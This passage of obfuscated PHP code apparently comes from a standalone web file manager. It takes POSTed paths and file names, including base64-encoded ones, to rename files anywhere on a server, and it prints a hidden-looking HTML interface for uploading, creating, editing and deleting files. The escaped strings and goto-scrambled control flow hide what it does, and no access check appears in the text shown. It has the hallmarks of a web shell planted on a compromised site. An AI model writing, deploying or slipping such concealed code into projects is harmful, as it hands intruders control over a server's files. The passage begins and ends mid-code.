"\162\x65\x6e\x61\x6d\145": goto qDv5z; c__4x: $C_q13 = ["\163\x75\x63\143\x65\163\x73" => true, "\155\145\163\x73\141\x67\145" => "\x49\164\145\x6d\40\162\x65\x6e\141\155\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\165\154\x6c\171\56"]; goto u7Skq; MlL1U: clearstatcache(); goto Hpabs; XE6kH: $jj7As = rtrim($N3FQp, "\57") . "\x2f" . $dQ2Id; goto MlL1U; b4i_l: if (rename($aKQJd, $jj7As)) { goto nYIHB; } goto szw6Z; szw6Z: throw new Exception("\x43\157\x75\x6c\x64\40\156\x6f\x74\40\x72\x65\156\141\155\145\x20\x69\164\145\x6d\x2e\40\x43\x68\145\x63\153\40\x70\x65\x72\155\151\163\x73\151\x6f\156\163\56"); goto McX5I; f_VBz: LYhqm: goto b4i_l; qDv5z: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0Tu($_POST["\x70\141\164\x68"]) : __DIR__; goto OpNZ1; e8aB_: throw new Exception("\111\x6e\x76\x61\x6c\151\144\40\x64\141\164\141\40\x66\x6f\162\40\x72\145\156\141\x6d\x69\x6e\x67\56"); goto BGKJV; kcd6W: goto ycSVf; goto V3kxN; BGKJV: cYVP_: goto rcjP2; OpNZ1: $c3CZq = isset($_POST["\x6f\154\x64\137\x6e\x61\x6d\145"]) ? $_POST["\157\x6c\x64\137\x6e\x61\x6d\x65"] : ''; goto cy97s; afm1Y: nYIHB: goto c__4x; izCNd: wEG_d: goto dyB2g; u7Skq: w0Qk5: goto kcd6W; McX5I: goto w0Qk5; goto afm1Y; OClmY: throw new Exception("\123\x6f\x75\x72\x63\x65\x20\151\164\x65\155\x20\x64\x6f\x65\x73\40\x6e\157\x74\40\x65\x78\151\163\x74\40\141\x74\x3a\40" . $aKQJd); goto izCNd; Hpabs: if (file_exists($aKQJd)) { goto wEG_d; } goto OClmY; Wfbq4: if (!(!nqXXk($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto cYVP_; } goto e8aB_; cy97s: $dQ2Id = isset($_POST["\156\x65\167\x5f\156\x61\x6d\145"]) ? str_replace(["\56\56", "\57", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto Wfbq4; rcjP2: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto XE6kH; dyB2g: if (is_writable(dirname($aKQJd))) { goto LYhqm; } goto RetP0; RetP0: throw new Exception("\104\151\162\x65\143\x74\x6f\x72\171\40\151\x73\40\156\x6f\x74\40\x77\162\151\x74\x61\142\154\x65\56"); goto f_VBz; V3kxN: case "\162\x65\x6e\x61\155\x65\x5f\142\x36\x34": goto G1EyE; zMe0b: unlink($Blo_g); goto NVm39; dygEg: yuctS: goto gHSz9; gHSz9: goto ycSVf; goto wB07j; lTcOf: $jj7As = rtrim($N3FQp, "\57") . "\57" . $dQ2Id; goto JSdgQ; T4zwj: $c3CZq = base64_decode($e212L); goto N50oN; W1MkE: jLJ2Q: goto Ry466; RSXTH: if (!(!NQxxK($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto jLJ2Q; } goto rYUKY; JSdgQ: $Blo_g = $aKQJd . "\56\164\x78\x74"; goto AiTjC; yAtn_: goto yuctS; goto GDEqX; A8qBB: throw new Exception("\x43\x6f\x75\154\x64\x20\x6e\157\164\40\144\145\x6c\145\x74\145\x20\157\162\151\147\151\156\x61\x6c\40\x66\x69\154\145\56"); goto HyfUt; NVm39: throw new Exception("\x43\157\165\154\144\x20\156\x6f\x74\40\x70\x65\162\x66\x6f\x72\x6d\x20\x66\151\x6e\x61\154\x20\162\x65\156\141\x6d\145\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\x20\146\151\x6c\x65\40\155\141\x79\40\142\x65\40\x72\145\x73\164\157\162\x65\144\56"); goto yAtn_; AiTjC: if (copy($aKQJd, $Blo_g)) { goto F0wA1; } goto df3zx; AXdYk: F0wA1: goto Vw9oZ; Vw9oZ: if (unlink($aKQJd)) { goto wtE6E; } goto UtPI4; N50oN: $dQ2Id = base64_decode($zd7rX); goto RSXTH; VEnf_: copy($Blo_g, $aKQJd); goto zMe0b; GDEqX: f5lol: goto P7IjC; Ry466: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto lTcOf; G1EyE: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0tu($_POST["\160\x61\x74\x68"]) : __DIR__; goto zd67f; HyfUt: wtE6E: goto RrQc4; df3zx: throw new Exception("\103\x6f\x75\154\144\x20\156\157\x74\x20\143\x72\145\141\x74\x65\x20\164\x65\155\160\157\x72\141\162\x79\40\143\x6f\x70\x79\56"); goto AXdYk; rYUKY: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x64\141\164\x61\x20\146\157\x72\x20\162\145\x6e\x61\x6d\151\x6e\x67\x2e"); goto W1MkE; UtPI4: unlink($Blo_g); goto A8qBB; P7IjC: $C_q13 = ["\x73\165\x63\x63\145\x73\x73" => true, "\155\x65\x73\163\141\x67\x65" => "\x49\x74\145\x6d\40\x72\145\x6e\141\x6d\x65\x64\40\x73\165\143\143\145\163\163\x66\165\x6c\154\x79\40\165\x73\151\156\x67\x20\x62\x36\x34\40\155\145\164\150\x6f\144\56"]; goto dygEg; FWMcy: $zd7rX = isset($_POST["\156\145\x77\x5f\x6e\x61\155\x65\137\x62\66\x34"]) ? $_POST["\x6e\145\x77\x5f\156\x61\x6d\x65\x5f\142\66\x34"] : ''; goto T4zwj; RrQc4: if (rename($Blo_g, $jj7As)) { goto f5lol; } goto VEnf_; zd67f: $e212L = isset($_POST["\157\154\144\137\x6e\x61\x6d\145\x5f\x62\x36\x34"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; goto FWMcy; wB07j: } goto EQarB; ZfuYF: ycSVf: goto OjHR9; EQarB: LToqq: goto ZfuYF; OjHR9: } catch (Exception $kvqcd) { $C_q13 = ["\x73\x75\143\143\145\x73\163" => false, "\155\x65\x73\163\141\147\145" => $kvqcd->getMessage()]; } goto jtolO; jtolO: echo json_encode($C_q13); goto BCDeX; BCDeX: exit; goto wWXaN; t2KH8: echo "\74\41\x44\117\x43\124\131\120\105\40\x68\164\x6d\154\76\12\x3c\x68\164\155\154\40\154\141\x6e\x67\75\42\145\x6e\42\x3e\12\74\x68\145\141\144\x3e\12\40\x20\40\x20\74\x6d\145\164\141\40\x63\150\141\x72\163\145\164\x3d\42\125\x54\x46\x2d\x38\42\76\74\x74\x69\164\154\x65\x3e\x46\x69\154\x65\x20\x4d\x61\x6e\141\x67\x65\x72\74\57\x74\151\164\154\145\x3e\x3c\x6d\x65\x74\x61\x20\x6e\141\155\x65\75\42\166\x69\x65\x77\160\157\162\x74\x22\x20\x63\157\156\x74\x65\x6e\164\75\x22\x77\x69\x64\164\x68\75\144\145\166\151\x63\145\55\167\151\x64\x74\150\x2c\x20\151\x6e\x69\x74\x69\141\x6c\55\x73\143\141\154\x65\75\61\x2e\x30\42\76\12\x20\40\x20\40\74\x73\164\x79\154\x65\76\12\x20\40\40\40\40\x20\40\x20\x3a\162\x6f\157\164\x7b\55\x2d\141\x63\x63\x65\156\x74\55\x63\157\154\157\x72\72\x23\62\62\67\x31\142\x31\73\55\x2d\150\x6f\x76\145\162\x2d\143\x6f\154\157\162\x3a\x23\x31\145\66\65\71\144\73\55\55\144\141\x6e\147\145\x72\x2d\143\157\154\x6f\x72\72\x23\x64\66\x33\x36\63\x38\73\175\12\40\40\40\40\40\40\40\x20\142\157\x64\171\173\146\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\x2d\141\160\160\x6c\x65\x2d\163\x79\x73\164\x65\x6d\x2c\102\x6c\x69\156\153\x4d\x61\143\123\171\x73\164\x65\155\106\157\156\x74\x2c\42\x53\x65\x67\157\145\x20\125\x49\x22\x2c\x52\157\x62\x6f\x74\157\x2c\117\170\x79\x67\x65\x6e\55\x53\141\156\163\x2c\x55\x62\x75\x6e\x74\165\54\x43\x61\156\164\x61\162\145\x6c\154\54\42\110\145\154\166\x65\x74\x69\143\141\x20\116\x65\165\x65\x22\54\163\x61\156\163\55\x73\x65\x72\x69\146\x3b\x62\x61\143\x6b\x67\x72\157\165\x6e\144\72\x23\146\60\146\x30\x66\61\x3b\155\x61\x72\147\151\x6e\72\x30\x3b\x7d\12\x20\40\x20\x20\40\40\x20\40\56\143\x6f\156\164\x61\x69\156\145\162\173\x64\151\163\160\154\x61\171\x3a\x66\x6c\x65\x78\x3b\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\164\151\x6f\x6e\72\143\157\x6c\165\155\x6e\x3b\150\x65\x69\147\150\164\x3a\61\x30\x30\166\150\x3b\175\x68\145\x61\144\145\x72\173\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\43\146\x66\x66\x3b\x70\141\x64\x64\151\156\147\x3a\61\60\160\x78\40\x32\x30\x70\170\73\142\x6f\x72\144\145\162\x2d\x62\x6f\164\164\x6f\x6d\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\144\x64\144\73\x64\151\163\160\154\x61\x79\72\x66\x6c\145\x78\73\x6a\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\164\145\x6e\164\72\x73\160\141\143\x65\55\x62\x65\x74\167\x65\x65\156\x3b\141\x6c\151\x67\x6e\x2d\x69\x74\145\155\x73\72\143\x65\156\x74\145\162\73\146\x6c\x65\x78\55\163\150\162\151\156\153\x3a\x30\73\x7d\155\141\151\x6e\x7b\x66\154\145\170\55\x67\x72\157\167\72\x31\x3b\x70\141\144\x64\151\x6e\x67\x3a\62\60\160\x78\73\157\166\145\x72\x66\154\157\167\x2d\x79\72\141\x75\164\x6f\73\175\x2e\164\157\x6f\x6c\x62\141\162\173\155\141\162\x67\x69\156\x2d\142\x6f\164\x74\x6f\x6d\x3a\61\65\160\170\x3b\144\x69\163\x70\154\141\x79\72\x66\154\x65\x78\73\x66\154\x65\x78\55\167\162\x61\160\72\x77\x72\141\160\x3b\x67\141\x70\x3a\61\x30\160\x78\73\x61\154\151\x67\x6e\x2d\151\x74\145\x6d\x73\72\143\x65\156\x74\145\x72\x3b\175\x2e\160\x61\164\150\x2d\142\x61\162\173\142\141\143\153\147\x72\157\165\156\x64\x3a\43\x66\146\x66\x3b\160\141\144\x64\151\156\147\72\70\x70\x78\40\x31\x32\160\x78\x3b\142\157\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\64\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\170\40\x73\157\154\x69\x64\x20\x23\144\x64\x64\73\146\x6f\x6e\x74\55\x66\141\155\151\154\x79\x3a\x6d\157\x6e\x6f\163\x70\x61\x63\x65\x3b\x66\x6c\x65\170\x2d\147\x72\x6f\167\x3a\61\73\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\162\x65\141\153\x2d\141\x6c\x6c\73\x7d\x2e\x66\151\154\145\55\x74\x61\x62\x6c\145\173\167\x69\144\164\x68\72\x31\60\x30\45\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\x6c\154\x61\160\163\145\72\x63\x6f\x6c\x6c\141\x70\163\145\x3b\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\x23\146\x66\146\x3b\x74\x61\x62\x6c\x65\55\x6c\141\x79\157\165\x74\x3a\x66\151\x78\145\x64\73\175\56\146\x69\154\x65\x2d\x74\x61\x62\154\145\40\x74\150\x2c\x2e\x66\151\154\x65\55\164\x61\142\154\145\40\164\144\x7b\164\x65\170\164\55\x61\154\151\147\156\72\154\145\x66\164\x3b\142\x6f\162\144\145\x72\x2d\x62\157\x74\x74\x6f\x6d\72\61\160\x78\x20\x73\157\x6c\151\x64\40\x23\x65\x65\145\73\x76\x65\162\164\x69\x63\x61\x6c\55\141\154\151\x67\x6e\x3a\x6d\x69\x64\144\x6c\145\73\x77\157\162\x64\55\167\x72\x61\x70\72\x62\162\145\x61\153\x2d\x77\157\162\x64\73\x7d\x2e\146\151\x6c\x65\55\x74\141\142\x6c\x65\40\164\x68\173\142\141\143\153\147\162\x6f\165\x6e\144\72\x23\x66\71\x66\71\146\x39\73\160\141\x64\144\151\x6e\x67\72\x31\x32\x70\170\40\70\x70\170\x3b\175\56\146\x69\x6c\x65\55\x74\x61\x62\154\x65\40\164\162\72\150\x6f\166\x65\x72\x7b\x62\141\143\x6b\147\162\157\165\156\144\72\43\x66\60\146\x38\146\146\x3b\x7d\56\146\151\x6c\x65\55\x74\141\x62\154\145\40\x74\x68\72\x6e\x74\x68\x2d\x63\150\x69\154\x64\x28\61\51\x2c\x2e\146\x69\x6c\145\55\164\x61\142\x6c\x65\40\x74\144\72\x6e\164\150\55\x63\x68\151\x6c\x64\50\61\x29\x7b\167\151\144\x74\150\72\64\x30\x70\x78\73\x70\141\144\144\x69\156\147\x3a\x31\x32\x70\170\x20\64\x70\170\x20\61\x32\160\x78\40\x31\62\160\x78\73\164\145\x78\x74\x2d\141\154\151\147\x6e\x3a\143\145\156\x74\x65\162\x3b\175\56\x66\x69\x6c\x65\x2d\x74\x61\142\154\x65\x20\164\x68\x3a\156\164\x68\x2d\x63\x68\x69\154\144\x28\x32\51\x2c\x2e\146\x69\x6c\x65\55\164\141\x62\154\x65\x20\164\144\72\x6e\164\x68\x2d\143\x68\x69\x6c\x64\x28\62\51\x7b\167\x69\x64\x74\x68\72\x35\60\x25\73\160\x61\x64\x64\151\156\147\x2d\154\145\x66\x74\72\64\160\170\73\175\x2e\x66\151\x6c\x65\x2d\x74\141\142\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\x68\x69\x6c\144\50\63\51\54\x2e\x66\151\154\x65\x2d\164\141\x62\154\x65\x20\x74\144\72\156\x74\x68\55\143\150\x69\154\x64\50\63\51\x7b\167\151\144\x74\x68\72\61\62\x30\x70\x78\x3b\175\x2e\x66\151\154\145\x2d\164\x61\x62\x6c\145\40\x74\150\72\x6e\164\x68\55\x63\x68\x69\154\144\50\x34\x29\x2c\x2e\146\151\154\x65\55\x74\141\142\x6c\145\40\164\144\x3a\x6e\164\150\x2d\x63\150\151\x6c\144\x28\64\x29\x7b\x77\151\x64\x74\150\x3a\x31\x35\x30\160\170\73\x7d\x2e\x66\151\x6c\145\55\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\150\x69\154\144\x28\65\x29\173\164\145\x78\164\55\141\x6c\x69\x67\x6e\x3a\162\151\x67\150\164\x3b\160\x61\x64\x64\x69\x6e\147\55\x72\151\147\150\x74\72\x31\62\160\x78\73\x7d\56\x61\x63\x74\151\157\x6e\163\x7b\144\x69\163\160\154\x61\x79\72\x66\x6c\x65\x78\x3b\x6a\165\x73\164\x69\x66\171\x2d\x63\157\156\x74\145\x6e\x74\x3a\x66\x6c\x65\170\x2d\145\156\144\x3b\x67\141\x70\72\65\160\170\x3b\175\x2e\x69\164\145\155\55\154\151\156\153\x2c\141\x2e\151\x74\145\x6d\x2d\154\151\156\153\173\164\x65\x78\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x6e\157\156\145\x21\151\155\x70\157\162\164\x61\x6e\x74\73\x63\157\x6c\157\x72\72\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\x6e\164\55\x63\157\x6c\157\x72\51\73\x63\x75\162\163\157\162\72\x70\157\x69\156\164\x65\x72\73\175\x2e\151\164\145\155\x2d\154\151\156\153\72\x68\x6f\x76\145\x72\54\141\x2e\x69\164\x65\x6d\55\x6c\x69\x6e\x6b\72\x68\x6f\166\145\162\173\x63\x6f\154\157\x72\72\166\141\x72\x28\55\55\x68\157\166\x65\162\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\x5b\x64\141\164\141\x2d\160\x61\x74\x68\x5d\x7b\143\x75\162\163\x6f\162\x3a\160\157\x69\156\x74\145\x72\73\x7d\x2e\x62\x75\x74\164\157\156\x7b\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x76\x61\162\x28\55\55\x61\x63\x63\145\x6e\164\x2d\143\157\x6c\157\x72\x29\x3b\x63\157\154\x6f\162\x3a\167\x68\x69\x74\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\x65\x3b\x70\x61\x64\x64\151\x6e\147\x3a\70\160\170\x20\61\62\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\63\160\170\x3b\x63\165\x72\163\x6f\162\72\x70\x6f\x69\156\x74\145\x72\x3b\x66\157\156\x74\x2d\x73\151\x7a\x65\x3a\61\x34\x70\170\x3b\175\x2e\142\x75\164\164\157\156\x2e\x64\x61\156\147\145\x72\x7b\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\x76\141\x72\50\x2d\55\144\x61\156\x67\145\x72\x2d\143\157\x6c\x6f\x72\x29\73\x7d\43\163\x70\151\156\156\145\x72\173\x64\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\145\73\x7d\x2e\155\157\144\141\154\x2d\x6f\x76\145\x72\x6c\x61\x79\173\144\x69\163\x70\154\x61\x79\72\156\157\x6e\145\73\160\157\163\151\x74\151\157\156\x3a\146\x69\170\x65\x64\73\x74\157\160\x3a\60\73\x6c\x65\x66\x74\x3a\x30\73\167\151\x64\x74\150\x3a\x31\x30\60\45\73\x68\145\151\x67\x68\164\x3a\x31\60\60\45\73\142\141\x63\x6b\x67\162\157\165\x6e\144\x3a\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\x36\51\73\x7a\x2d\x69\x6e\144\x65\170\x3a\61\60\60\x30\x3b\152\165\x73\x74\x69\146\x79\x2d\143\x6f\156\164\145\x6e\164\72\143\145\156\164\x65\162\x3b\x61\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\156\x74\145\x72\73\x7d\56\x6d\x6f\144\141\154\55\143\x6f\156\164\145\x6e\164\x7b\x64\151\x73\x70\x6c\141\171\72\146\154\145\x78\73\146\154\145\170\x2d\x64\x69\x72\145\143\x74\151\x6f\156\72\x63\x6f\x6c\165\x6d\x6e\73\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\146\x66\146\x3b\x70\x61\x64\144\x69\x6e\x67\72\62\x30\160\x78\x3b\142\157\162\144\145\162\55\x72\141\x64\151\165\x73\x3a\x35\x70\170\x3b\x77\x69\144\164\150\x3a\70\x30\x25\x3b\150\145\151\x67\150\164\x3a\70\60\45\73\155\141\x78\55\x77\151\144\164\150\72\71\x30\x30\x70\x78\73\x62\157\x78\x2d\x73\150\x61\x64\x6f\x77\72\60\40\x35\x70\x78\x20\x31\65\160\170\x20\162\x67\142\141\x28\60\54\x30\54\x30\x2c\x30\56\63\51\73\x7d\164\145\170\x74\141\162\x65\141\43\x65\144\x69\x74\157\x72\x7b\146\154\x65\x78\x2d\147\162\x6f\167\x3a\61\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\171\72\x6d\157\156\x6f\x73\160\141\143\x65\73\x66\x6f\156\164\55\x73\151\x7a\145\72\x31\64\160\170\73\142\157\162\144\x65\162\72\x31\x70\170\x20\163\157\154\151\144\x20\43\x64\144\144\x3b\160\x61\x64\144\151\x6e\x67\72\61\x30\160\170\73\175\xa\x20\x20\40\40\74\57\163\x74\x79\154\145\x3e\12\74\57\x68\145\x61\144\x3e\xa\74\x62\x6f\x64\171\x3e\xa\x20\40\40\40\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\143\157\156\164\141\151\156\x65\162\x22\76\xa\40\x20\x20\x20\40\40\40\x20\x3c\x68\x65\141\x64\145\x72\76\74\150\x33\76\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\40\x28\123\x74\141\x6e\144\x61\154\157\156\x65\51\74\57\x68\x33\x3e\74\x2f\150\145\141\x64\145\162\76\xa\40\x20\x20\40\40\40\40\x20\x3c\155\x61\151\x6e\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\x74\x6f\x6f\154\142\x61\162\x22\76\x3c\x62\165\x74\x74\157\x6e\40\143\x6c\x61\x73\163\x3d\x22\x62\165\x74\164\157\x6e\42\x20\151\144\75\x22\165\160\154\x6f\x61\x64\x42\x74\x6e\42\x3e\xc3\x83\302\242\303\202\xc2\xac\303\202\xc2\x86\xc3\x83\xc2\xaf\303\x82\xc2\270\xc3\x82\302\x8f\40\125\160\x6c\157\x61\144\74\57\142\x75\x74\x74\x6f\156\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\143\154\141\x73\x73\75\42\x62\x75\164\164\x6f\x6e\42\40\x69\144\x3d\42\156\145\x77\106\x69\x6c\145\x42\164\156\x22\76\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\x93\303\202\xc2\204\40\116\x65\167\x20\106\151\154\x65\74\x2f\142\x75\164\x74\x6f\156\76\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\x74\164\157\x6e\42\x20\151\144\75\42\156\145\x77\106\157\154\x64\x65\x72\x42\164\x6e\x22\x3e\xc3\203\xc2\242\303\202\302\236\xc3\202\302\225\40\x4e\x65\x77\40\106\x6f\x6c\144\145\x72\74\x2f\x62\x75\164\x74\157\x6e\x3e\74\142\x75\x74\164\157\x6e\40\143\x6c\141\x73\x73\75\x22\x62\165\x74\x74\157\156\40\144\141\x6e\x67\x65\x72\42\40\151\144\x3d\x22\x64\145\x6c\x65\x74\x65\102\164\156\42\x3e\303\203\xc2\xb0\303\x82\xc2\237\303\x82\302\x97\303\x82\xc2\x91\xc3\x83\xc2\257\303\202\302\270\xc3\x82\xc2\217\40\x44\145\154\x65\164\x65\x20\123\145\154\145\x63\164\145\144\x3c\x2f\142\x75\x74\x74\157\156\76\74\x64\151\x76\40\151\144\75\42\163\160\x69\156\156\145\162\x22\x3e\xc3\203\xc2\260\xc3\202\302\x9f\xc3\x82\xc2\225\xc3\x82\302\222\74\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\164\x6f\x6f\x6c\142\x61\x72\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\75\42\160\x61\164\150\x2d\x62\141\162\42\x20\151\144\x3d\42\160\141\x74\150\x42\x61\x72\42\76\x2f\x3c\x2f\144\151\166\x3e\x3c\57\x64\x69\166\x3e\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\x61\x62\154\x65\40\x63\154\x61\163\x73\x3d\x22\146\151\x6c\x65\55\164\x61\142\x6c\x65\42\x3e\74\x74\150\145\141\144\76\x3c\164\162\x3e\74\164\150\76\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x63\x68\x65\143\153\x62\157\x78\42\x20\151\x64\75\x22\x73\x65\x6c\145\x63\x74\x41\154\x6c\42\76\74\57\164\x68\76\x3c\x74\150\x3e\116\141\155\x65\74\x2f\164\x68\76\x3c\x74\150\76\x53\x69\x7a\x65\74\57\164\x68\x3e\74\x74\150\x3e\115\x6f\x64\151\146\151\145\x64\x3c\57\164\x68\76\74\x74\x68\76\x41\143\164\151\x6f\156\x73\74\57\164\150\x3e\x3c\x2f\164\x72\76\74\57\164\x68\x65\141\x64\x3e\74\x74\142\x6f\144\x79\x20\x69\144\75\x22\x66\151\x6c\x65\114\151\163\164\x22\76\74\57\164\142\x6f\x64\x79\x3e\74\x2f\x74\x61\x62\154\x65\x3e\12\40\40\40\40\40\40\40\40\x3c\x2f\x6d\141\151\156\76\12\40\40\x20\40\74\x2f\144\x69\166\x3e\xa\x20\x20\x20\x20\74\144\x69\x76\x20\x69\x64\x3d\x22\145\144\151\164\157\162\x4d\x6f\x64\141\x6c\x22\x20\x63\x6c\x61\163\163\x3d\x22\x6d\157\x64\141\154\x2d\157\166\145\x72\154\141\171\x22\x3e\74\144\151\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\154\55\x63\x6f\156\x74\145\156\x74\42\76\x3c\x68\63\x20\x69\144\x3d\x22\x65\x64\151\164\157\162\106\x69\154\145\x6e\x61\155\145\42\40\163\164\171\x6c\145\75\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\160\72\60\x3b\42\76\74\x2f\x68\63\76\74\164\x65\170\x74\x61\x72\x65\141\40\151\144\75\x22\145\x64\151\x74\157\x72\x22\x20\163\x70\x65\x6c\x6c\143\x68\x65\x63\153\x3d\x22\x66\141\154\163\145\42\76\x3c\x2f\x74\145\170\x74\x61\162\145\141\x3e\74\144\x69\x76\x20\x73\x74\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\164\157\160\72\61\x30\x70\x78\73\x22\76\74\x62\x75\164\x74\x6f\156\40\143\154\141\x73\163\x3d\x22\142\x75\164\x74\157\x6e\42\40\x69\x64\x3d\42\x73\141\166\x65\102\x74\156\42\x3e\xc3\203\302\260\303\x82\302\x9f\303\x82\xc2\222\xc3\x82\302\276\x20\x53\141\166\x65\40\103\150\141\x6e\147\145\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\x3e\74\x62\x75\164\x74\157\156\40\143\x6c\x61\163\x73\75\x22\x62\165\x74\164\x6f\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\x64\157\x63\165\155\145\x6e\164\56\147\145\164\x45\154\145\x6d\x65\x6e\x74\102\171\111\144\50\47\145\144\x69\164\x6f\162\115\x6f\144\141\154\x27\x29\56\x73\164\x79\154\145\x2e\x64\151\x73\160\154\x61\x79\75\x27\156\157\156\x65\x27\42\76\x43\154\x6f\x73\145\74\x2f\x62\x75\x74\164\x6f\156\x3e\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x69\x64\x3d\x22\x68\x69\x64\x64\x65\156\x46\151\154\145\x49\x6e\x70\165\164\x22\x20\155\x75\x6c\164\x69\160\154\x65\x20\x73\164\171\154\145\x3d\x22\144\x69\163\x70\154\x61\x79\x3a\156\157\156\x65\73\42\76\12\x20\40\x20\x20\x3c\x73\x63\x72\x69\x70\164\76\xa\x20\x20\40\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\141\144\144\105\x76\145\156\x74\114\x69\163\x74\145\156\x65\162\50\47\x44\x4f\115\x43\x6f\156\164\x65\x6e\x74\114\x6f\x61\x64\145\144\x27\x2c\x20\50\x29\40\75\x3e\x20\173\12\40\x20\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\x20\123\x54\101\x54\105\40\75\x20\x7b\40\x63\165\x72\162\145\x6e\164\x50\x61\164\150\x3a\40\47"; goto jupxf; Nx60v: echo "\47\x2c\x20\173\40\155\145\x74\x68\157\x64\x3a\40\x27\x50\x4f\x53\x54\47\54\x20\142\x6f\x64\x79\x3a\40\146\157\162\155\104\141\164\x61\40\x7d\51\x3b\x20\143\157\x6e\x73\164\40\162\x65\x73\165\154\164\x20\75\40\141\167\x61\x69\164\x20\162\145\x73\160\157\156\163\x65\56\152\163\x6f\x6e\x28\x29\73\40\151\x66\x20\x28\x21\x72\145\x73\x75\154\x74\56\163\x75\x63\x63\x65\x73\x73\51\40\x74\x68\162\157\167\x20\x6e\x65\x77\40\105\x72\162\x6f\x72\50\162\145\x73\165\154\164\x2e\155\x65\x73\x73\x61\147\145\51\73\x20\151\x66\40\50\x73\x68\157\167\x53\165\143\143\x65\163\x73\x20\46\x26\x20\162\145\163\165\154\x74\56\x6d\x65\163\163\141\147\x65\x29\40\x61\x6c\145\162\164\x28\162\145\163\165\154\x74\x2e\155\x65\163\x73\141\147\x65\51\73\x20\x72\145\x74\165\162\x6e\x20\162\145\x73\165\154\164\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x7d\x20\x63\141\164\143\x68\x20\x28\145\x72\x72\x6f\x72\x29\x20\173\x20\x61\x6c\x65\162\164\50\140\x45\162\162\157\162\72\40\44\x7b\145\x72\x72\x6f\162\56\155\145\x73\x73\141\x67\x65\x7d\x60\x29\x3b\x20\x63\157\x6e\163\157\x6c\x65\56\x65\162\162\x6f\x72\x28\42\x46\x75\154\x6c\x20\162\145\x73\160\x6f\156\163\145\x3a\x22\54\40\x65\162\x72\157\162\x2e\x72\145\x73\160\x6f\156\163\145\x29\73\40\x72\x65\x74\165\x72\156\40\x6e\165\x6c\x6c\73\40\175\x20\x66\x69\156\141\x6c\x6c\171\x20\x7b\40\x64\x6f\155\56\x73\x70\x69\x6e\x6e\145\162\x2e\163\164\171\154\x65\x2e\x64\x69\163\x70\154\x61\171\x3d\x27\x6e\157\156\x65\x27\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\40\175\12\40\40\x20\x20\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\162\x65\x6e\x64\145\x72\50\51\40\x7b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\146\157\x72\155\104\141\164\x61\x20\x3d\x20\156\x65\x77\x20\106\157\162\x6d\x44\x61\164\x61\x28\51\x3b\40\146\x6f\162\x6d\104\x61\x74\141\56\x61\160\160\145\156\x64\x28\47\160\141\164\x68\47\54\x20\123\x54\x41\x54\105\56\143\165\162\x72\x65\156\164\x50\x61\164\x68\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x61\x70\151\x43\x61\x6c\154\50\47\x6c\151\163\x74\x27\54\40\146\157\x72\155\104\x61\x74\x61\x29\x2e\164\x68\x65\156\50\162\x65\163\165\154\164\40\x3d\76\x20\173\12\40\x20\